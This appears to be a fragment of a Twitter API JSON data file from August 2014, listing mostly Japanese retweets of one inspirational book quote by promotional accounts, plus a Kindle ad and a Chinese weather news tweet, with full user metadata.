+ "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:59 +0000 2014", + "id": 505874858115219460, + "id_str": "505874858115219456", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "恋愛の教科書 ", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2744344514, + "id_str": "2744344514", + "name": "恋愛の教科書", + "screen_name": "renaikyoukasyo", + "location": "", + "description": "もっと早く知っとくべきだった~!知っていればもっと上手くいく♪ \r\n今すぐ役立つ恋愛についての雑学やマメ知識をお届けします。 \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 124, + "friends_count": 955, + "listed_count": 0, + "created_at": "Tue Aug 19 08:32:45 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 346, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501655512018997248/7SznYGWi_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501655512018997248/7SznYGWi_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2744344514/1408439001", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:59 +0000 2014", + "id": 505874857335074800, + "id_str": "505874857335074816", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "オモロすぎる★学生の日常", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2699365116, + "id_str": "2699365116", + "name": "オモロすぎる★学生の日常", + "screen_name": "omorogakusei", + "location": "", + "description": "楽しすぎる学生の日常を探していきます。\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 289, + "friends_count": 1156, + "listed_count": 2, + "created_at": "Fri Aug 01 23:35:18 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 770, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495353473886478336/S-4B_RVl_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495353473886478336/S-4B_RVl_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2699365116/1406936481", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:59 +0000 2014", + "id": 505874856605257700, + "id_str": "505874856605257728", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "憧れの★インテリア図鑑", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2721907602, + "id_str": "2721907602", + "name": "憧れの★インテリア図鑑", + "screen_name": "akogareinteria", + "location": "", + "description": "自分の住む部屋もこんなふうにしてみたい♪ \r\nそんな素敵なインテリアを、日々探していますw \r\nいいなと思ったら RT & 相互フォローお願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 298, + "friends_count": 1925, + "listed_count": 0, + "created_at": "Sun Aug 10 15:59:13 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 540, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498499374423343105/Wi_izHvT_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498499374423343105/Wi_izHvT_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2721907602/1407686543", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:59 +0000 2014", + "id": 505874856089378800, + "id_str": "505874856089378816", + "text": "天冥の標 VI 宿怨 PART1 / 小川 一水\nhttp://t.co/fXIgRt4ffH\n \n#キンドル #天冥の標VI宿怨PART1", + "source": "waromett", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 1953404612, + "id_str": "1953404612", + "name": "わろめっと", + "screen_name": "waromett", + "location": "", + "description": "たのしいついーとしょうかい", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 16980, + "friends_count": 16983, + "listed_count": 18, + "created_at": "Fri Oct 11 05:49:57 +0000 2013", + "favourites_count": 3833, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 98655, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "352726", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme5/bg.gif", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme5/bg.gif", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/378800000578908101/14c4744c7aa34b1f8bbd942b78e59385_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/378800000578908101/14c4744c7aa34b1f8bbd942b78e59385_normal.jpeg", + "profile_link_color": "D02B55", + "profile_sidebar_border_color": "829D5E", + "profile_sidebar_fill_color": "99CC33", + "profile_text_color": "3E4415", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [ + { + "text": "キンドル", + "indices": [ + 50, + 55 + ] + }, + { + "text": "天冥の標VI宿怨PART1", + "indices": [ + 56, + 70 + ] + } + ], + "symbols": [], + "urls": [ + { + "url": "http://t.co/fXIgRt4ffH", + "expanded_url": "http://j.mp/1kHBOym", + "display_url": "j.mp/1kHBOym", + "indices": [ + 25, + 47 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "zh" + }, + "created_at": "Sun Aug 31 00:28:58 +0000 2014", + "id": 505874855770599400, + "id_str": "505874855770599425", + "text": "四川盆地江淮等地将有强降雨 开学日多地将有雨:   中新网8月31日电 据中央气象台消息,江淮东部、四川盆地东北部等地今天(31日)又将迎来一场暴雨或大暴雨天气。明天9月1日,是中小学生开学的日子。预计明天,内蒙古中部、... http://t.co/RNdqIHmTby", + "source": "twitterfeed", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 402427654, + "id_str": "402427654", + "name": "中国新闻", + "screen_name": "zhongwenxinwen", + "location": "", + "description": "中国的新闻,世界的新闻。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 2429, + "friends_count": 15, + "listed_count": 29, + "created_at": "Tue Nov 01 01:56:43 +0000 2011", + "favourites_count": 0, + "utc_offset": -28800, + "time_zone": "Alaska", + "geo_enabled": false, + "verified": false, + "statuses_count": 84564, + "lang": "zh-cn", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "709397", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme6/bg.gif", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme6/bg.gif", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/2700523149/5597e347b2eb880425faef54287995f2_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/2700523149/5597e347b2eb880425faef54287995f2_normal.jpeg", + "profile_link_color": "FF3300", + "profile_sidebar_border_color": "86A4A6", + "profile_sidebar_fill_color": "A0C5C7", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [ + { + "url": "http://t.co/RNdqIHmTby", + "expanded_url": "http://bit.ly/1tOdNsI", + "display_url": "bit.ly/1tOdNsI", + "indices": [ + 114, + 136 + ] + } + ], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "zh" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:58 +0000 2014", + "id": 505874854877200400, + "id_str": "505874854877200384", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "LDH ★大好き応援団", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2700961603, + "id_str": "2700961603", + "name": "LDH ★大好き応援団", + "screen_name": "LDH_daisuki1", + "location": "", + "description": "LDHファンは、全員仲間です♪\r\n面白かったらRT & 相互フォローでみなさん、お願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 458, + "friends_count": 1895, + "listed_count": 0, + "created_at": "Sat Aug 02 14:23:46 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 735, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/495578007298252800/FOZflgYu_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/495578007298252800/FOZflgYu_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2700961603/1406989928", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:58 +0000 2014", + "id": 505874854147407900, + "id_str": "505874854147407872", + "text": "RT @shiawaseomamori: 一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるの…", + "source": "マジ!?怖いアニメ都市伝説", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2719489172, + "id_str": "2719489172", + "name": "マジ!?怖いアニメ都市伝説", + "screen_name": "anime_toshiden1", + "location": "", + "description": "あなたの知らない、怖すぎるアニメの都市伝説を集めています。\r\n「え~知らなかったよww]」って人は RT & フォローお願いします♪", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 377, + "friends_count": 1911, + "listed_count": 1, + "created_at": "Sat Aug 09 14:41:15 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 536, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/498118027322208258/h7XOTTSi_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/498118027322208258/h7XOTTSi_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2719489172/1407595513", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:16:06 +0000 2014", + "id": 505871615125491700, + "id_str": "505871615125491712", + "text": "一に止まると書いて、正しいという意味だなんて、この年になるまで知りませんでした。 人は生きていると、前へ前へという気持ちばかり急いて、どんどん大切なものを置き去りにしていくものでしょう。本当に正しいことというのは、一番初めの場所にあるのかもしれません。 by神様のカルテ、夏川草介", + "source": "幸せの☆お守り", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 2745121514, + "id_str": "2745121514", + "name": "幸せの☆お守り", + "screen_name": "shiawaseomamori", + "location": "", + "description": "自分が幸せだと周りも幸せにできる! \r\nそんな人生を精一杯生きるために必要な言葉をお届けします♪ \r\nいいなと思ったら RT & 相互フォローで、お願いします。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 213, + "friends_count": 991, + "listed_count": 0, + "created_at": "Tue Aug 19 14:45:19 +0000 2014", + "favourites_count": 0, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 349, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/501742437606244354/scXy81ZW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/2745121514/1408459730", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "shiawaseomamori", + "name": "幸せの☆お守り", + "id": 2745121514, + "id_str": "2745121514", + "indices": [ + 3, + 19 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:28:58 +0000 2014", + "id": 505874854134820860, + "id_str": "505874854134820864", + "text": "@vesperia1985 おはよー!\n今日までなのですよ…!!明日一生来なくていい", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": 505868030329364500, + "in_reply_to_status_id_str": "505868030329364480", + 